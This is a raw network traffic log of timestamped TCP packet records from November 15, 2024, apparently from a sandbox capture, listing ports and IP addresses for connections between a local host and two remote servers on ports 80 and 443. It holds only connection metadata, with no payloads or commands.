Nov 15, 2024 09:55:19.836268902 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.861835003 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.862720966 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.862787008 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.863204956 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.863220930 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.875967979 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.875983953 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.875996113 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.876066923 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.900548935 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.900563955 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.900576115 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.900635958 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.900665998 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.907166004 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.907876015 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.907907009 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.908401966 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.908406019 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.927227020 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.927349091 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.927898884 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.927922010 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.928071022 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.928150892 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.928394079 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.928406954 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.928776979 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.928792953 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.936614037 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.936628103 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.936639071 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.936734915 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.942053080 CET	443	49748	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.942246914 CET	443	49748	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.942300081 CET	49748	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.942344904 CET	49748	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.942356110 CET	443	49748	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.942374945 CET	49748	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.942379951 CET	443	49748	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.945363998 CET	49753	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.945409060 CET	443	49753	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.945482016 CET	49753	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.945796967 CET	49753	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.945812941 CET	443	49753	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.951217890 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.951242924 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.951252937 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.951298952 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.951298952 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.951347113 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.951359034 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.951365948 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.951365948 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.951385975 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.951404095 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.951509953 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.951529026 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.951549053 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.951555967 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.951567888 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.951595068 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.951639891 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.951652050 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.951663017 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.951683044 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.951688051 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.951720953 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.952238083 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.952287912 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.952346087 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.952390909 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.952416897 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.952457905 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.952474117 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.952485085 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.952496052 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.952516079 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.952543020 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.952610970 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.952622890 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.952634096 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.952645063 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.952649117 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.952656031 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.952677011 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.952701092 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.953131914 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.953157902 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.953169107 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.953176022 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.953191042 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.953208923 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.953258038 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.953269958 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.953282118 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.953291893 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.953294992 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.953313112 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.953339100 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.953402042 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.953413963 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.953430891 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.953437090 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.953442097 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.953457117 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.953466892 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.953496933 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.992758989 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.992794991 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.992810011 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.992816925 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.992825985 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.992851019 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.992856979 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.993037939 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.993109941 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.993282080 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.993299961 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.993313074 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.993319035 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.996643066 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.996670008 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.996747971 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.996875048 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.996885061 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.017419100 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.017442942 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.017455101 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.017493010 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.017524958 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.039217949 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.039331913 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.039381981 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.039549112 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.039568901 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.039588928 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.039593935 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.042615891 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.042650938 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.042730093 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.042859077 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.042876005 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.053571939 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.053591967 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.053601027 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.053661108 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.053689957 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.054549932 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.054872036 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.054958105 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.054958105 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.055071115 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.055083036 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.057297945 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.057364941 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.057447910 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.057611942 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.057632923 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.057647943 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.058093071 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.058163881 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.058250904 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.058250904 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.058295012 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.058324099 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.060197115 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.060231924 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.060354948 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.060440063 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.060456038 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.068237066 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.068250895 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.068263054 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.068295956 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.068309069 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.068337917 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.068399906 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.068576097 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.068624973 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.068635941 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.068638086 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.068649054 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.068665028 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.068689108 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.068691969 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.068728924 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.068732977 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.068773031 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.068788052 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.068799019 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.068809032 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.068833113 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.068875074 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.068876028 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.068887949 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.068922043 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.068932056 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.069216967 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.069228888 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.069240093 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.069250107 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.069271088 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.069298029 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.069394112 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.069434881 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.069451094 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.069493055 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.070141077 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.070194960 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.070205927 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.070207119 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.070240974 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.070269108 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.070281029 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.070291996 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.070324898 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.070352077 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.070360899 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.070363998 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.070374966 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.070389032 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.070394039 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.070415020 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.070439100 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.070662022 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.070710897 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.070713997 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.070723057 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.070740938 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.070753098 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.070755005 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.070784092 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.109739065 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.109761000 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.109770060 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.109827042 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.109843016 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.134605885 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.134618044 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.134627104 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.134753942 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.424904108 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.424932003 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.424943924 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.424953938 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.424972057 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.424982071 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.424992085 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425004005 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425071955 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425118923 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425132990 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425144911 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425156116 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425164938 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425175905 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425175905 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425196886 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425204992 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425239086 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425384045 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425399065 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425411940 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425424099 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425431967 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425437927 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425446033 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425461054 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425476074 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425482035 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425494909 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425523043 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425724983 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425748110 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425761938 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425771952 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425775051 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425789118 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425790071 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425801992 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425813913 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425815105 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425833941 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425837994 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425848007 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425853014 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425859928 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425873995 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425888062 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425888062 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425900936 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425911903 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425915003 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.425930023 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.425966024 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.426183939 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426198006 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426209927 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426229000 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.426253080 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.426270008 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426284075 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426296949 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426310062 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426311970 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.426321030 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426341057 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.426352978 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426367044 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426369905 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.426379919 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426394939 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.426415920 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.426615953 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426626921 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426637888 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426645994 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426664114 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.426685095 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.426774025 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426789999 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426800013 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426810980 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.426817894 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.426847935 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.430633068 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.430645943 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.430655956 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.430686951 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.430701971 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.430720091 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.430733919 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.430747986 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.430761099 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.430814981 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.430824995 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.430841923 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.430860996 CET	49712	80	192.168.2.7	185.215.113.206
